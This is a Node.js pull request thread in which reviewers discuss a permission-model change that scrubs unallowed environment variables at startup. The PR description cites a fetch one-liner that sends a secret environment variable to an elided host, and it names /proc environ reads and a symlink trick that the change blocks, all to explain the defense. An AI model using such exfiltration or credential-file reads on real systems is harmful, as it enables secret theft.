Conversation
jasnell
added
semver-major
|
Review requested:
|
nodejs-github-bot
added
lib / src
Codecov Report❌ Patch coverage is Additional details and impacted files@@ Coverage Diff @@
## main #66132 +/- ##
==========================================
- Coverage 90.29% 90.27% -0.03%
==========================================
Files 789 791 +2
Lines 272909 273370 +461
Branches 52119 52231 +112
==========================================
+ Hits 246435 246791 +356
- Misses 16928 17002 +74
- Partials 9546 9577 +31
🚀 New features to boost your workflow:
|
This comment was marked as resolved.
This comment was marked as resolved.
3740011 to
9127642
Compare
|
why semver-major? |
|
It's major because it's filter-by-default when |
RafaelGSS
left a comment
RafaelGSS
left a comment
There was a problem hiding this comment.
We discussed this in nodejs/security-wg#993. I think we should revisit the concerns there before proceeding.
Removing the variables from the actual process environment addresses some of the issues with the previous approach, but I'm still not convinced about the use case. For instance, if my application needs AWS_SECRET_ACCESS_KEY and I allow it, every dependency can still read it. If the application doesn't need it, why not remove it before starting Node.js?
The read-then-drop case seems more useful, but does permission.drop() also remove the value from the initial environment block? From reading RemoveFromEnvironment, it seems that value would still be there on Linux.
I'd like to understand which use case requires this in core and what we intend to guarantee before getting into the implementation details, because as soon as we land this, I do expect a lot of AI-Sloop on H1... sadly.
Yes, it should. The idea is keep the vars for as long as needed then scrub them. |
This is true for all permissions tho. If you allow fs access, every dependency gets fs access. That's why
It's entirely possible (and likely) for environment variables to be present without the user even knowing. If the operator has control enough of the system to manage the environment, they are actually less likely to be using the permission system in the first place, choosing instead to rely on OS-level sandboxing or other isolation techniques. The permission system is largely in place for running in less trustworthy environments. |
|
Fair enough, I'm +1 with the feature then (semver-major as you already pointed out). |
64b9265 to
c50ac3e
Compare
444b524 to
ff1e6be
Compare
|
I've updated and strengthened the scrubbing. Access to |
jasnell
added
the
request-ci
github-actions
Bot
removed
the
request-ci
jasnell
added
the
notable-change
|
The
notable-change
Please suggest a text for the release notes if you'd like to include a more detailed summary, then proceed to update the PR description with the text or a link to the notable change suggested text comment. Otherwise, the commit will be placed in the Other Notable Changes section. |
|
@nodejs/tsc ... as a semver major this needs an additional signoff please :-) |
ff1e6be to
685427c
Compare
Necessarily semver-major. When `--permission` is on, every env var not matched by `--allow-env` is removed at startup. It takes names, prefix patterns (`PREFIX_*`), or `*`, repeatable or comma-sep'd. There are a range of env vars that Node.js itself uses, and a default range that are generally known to be safe in common usage. These are never scrubbed. These include things like `NODE_OPTIONS`, `NODE_EXTRA_CA_CERTS`, `PATH`, `HOME`, etc. `NODE_ENV` is not in the defaults and must be allowed explicitly. Proxy vars (`HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`) are also not in the defaults since they can carry credentials. When `--use-env-proxy` or `NODE_USE_ENV_PROXY` is set and any of them were removed, a single warning naming them is emitted. Env vars can be dropped at runtime after reading using `permission.drop()`. This is a stronger protection than using `process.env.FOO = undefined` because it will scrub the env var also from the environment block. On Linux, the removed entries are overwritten in the initial environment block. fs reads of any other process's /proc/<pid>/environ, ancestors included, are denied regardless of `--allow-fs-read`. A process's own is readable only with `--allow-env=*`. Symlinks are resolved before the check so paths like /dev/fd/../../<ppid>/environ are caught. The check only canonicalizes paths that statfs() reports are on procfs. On Windows, removal also clears the C runtime's copy of the environ using _wputenv_s. Reading a removed name returns undefined, warns once per name, and publishes to a diagnostics channel. Env file keys are allowed. If the user had reason to pass in an env file the assumption is they meant to allow them. File-source config (node.config.json and NODE_OPTIONS from a .env file) can only narrow the allow list. Embedders must call ScrubProcessEnvironment() themselves on startup. This is left up to the embedder to determine the exact timing but needs to be called before startup actually happens. Child processes are started with `--allow-env=*`. Those either receive the explicit env they were started with or only the env they inherit from the parent. Since the parent process is scrubbed, and the child cannot read any other process's /proc/<pid>/environ, it should never see more than the parent can. Main part of the impl was done by hand. Docs, tests, verification pass, and cleanup nits were automated. Signed-off-by: James M Snell <jasnell@gmail.com> Assisted-by: Opencode
Signed-off-by: James M Snell <jasnell@gmail.com> Assisted-by: Opencode
685427c to
16fcfb4
Compare
This comment was marked as outdated.
This comment was marked as outdated.
jasnell
added
author ready
4 participants
Necessarily semver-major.
Alternative for a previous attempt in #62827 that stalled out.
When
--permissionis on, every env var not matched by--allow-envis removed at startup. It takes names, patterns (PREFI_*), or*, repeatable or comma-sep'd.There are a range of env vars that Node.js itself uses, and a default range that are generally known to be safe in common usage. These are never scrubbed. These include things like
NODE_OPTIONS,NODE_EXTRA_CA_CERTS,PATH,HOME, etc.Env vars can be dropped at runtime after reading using
permission.drop(). This is a stronger protection than usingprocess.env.FOO = undefinedbecause it will scrub the env var also from the environment block.On Linux, the removed entries are overwritten in the initial environment block and fs reads of /proc/*/environ are denied.
On Windows, removal also clears the C runtime's copy of the environ using _wputenv_s
Reading a removed name returns undefined, warns once per name, and publishes to a diagnostics channel.
Env file keys are allowed. If the user had reason to pass in an env file the assumption is they meant to allow them.
File-source config (node.config.json and NODE_OPTIONS from a .env file can only narrow the allow list.
Embedders must call ScrubProcessEnvironment() themselves on startup. This is left up to the embedder to determine the exact timing but needs to be called before startup actually happens.
Child processes are started with
--allow-env=*. Those either receive the explicit env they were started with or only the env they inherit from the parent. Since the parent process is scrubbed, it should never be more than what the parent can see.The key motivation here is that environment variables are the primary mechanism for injecting secrets into applications. These can be trivially exfiltrated using simple one-liners like
fetch('...', { headers: { secret: process.env.SECRET } }). Simply unsetting those viaprocess.env.SECRET = undefinedis typically not enough since those can still be read from the underlying environment block. This PR provides stronger protection but it obviously cannot be 100% since depending on how it is used, the strings can still be in memory.The prior attempt to add this in #62827 had a number of flaws that this version addresses. That PR used an incomplete view filter.
process.report.getReport(), native addons, FFI,and
/proc/self/environcould all still read the real environment. Scrubbingbefore any JavaScript runs protects those paths. This PR also fixes a number of other breaking changes the other PR would have introduced:
process.envandprocess.loadEnvFile()keep working.--env-filefiles are allowed.--allow-env=*, because the environment they inherit has already been scrubbed.